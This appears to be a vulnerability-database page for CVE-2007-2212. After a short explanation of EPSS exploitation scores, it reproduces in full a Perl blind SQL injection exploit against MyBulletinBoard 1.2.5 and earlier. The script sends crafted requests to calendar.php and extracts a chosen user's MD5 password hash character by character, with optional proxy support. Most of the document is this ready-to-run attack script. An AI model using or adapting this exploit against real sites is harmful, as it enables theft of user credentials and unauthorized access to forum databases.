CVE-2007-2212 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " #############################################################\n"; print " # MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit #\n"; print " # Bug found and Exploit coded by 0x86 #\n"; print " # #\n"; print " # www.geeksec.net #\n"; print " # 0x86 [at] geeksec.net #\n"; print " # #\n"; print " # Usage: perl mybb.pl host path <options> #\n"; print " # Example: perl mybb.pl www.host.com /mybb/ -u 5 #\n"; print " # #\n"; print " # Options: #\n"; print " # -u User-ID, default: 1 #\n"; print " # -p Proxy support #\n"; print " #############################################################\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $userid = 1; my %options = (); GetOptions(\%options, "u=i", "p=s"); print "[+] Exploiting...\n"; if($options{"u"}) { $userid = $options{"u"}; } syswrite(STDOUT, "[+] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $path, $userid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $path, $userid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[+] Exploiting done\n"; sub istrue2 { my $host = shift; my $path = shift; my $uid = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host.$path."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20uid=".$uid."),".$i.",1)=CHAR(".$h.")/*"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "profile"; if($content =~ /$regexp/) { return 1; } else { return 0; } } # milw0rm.com [2007-04-23]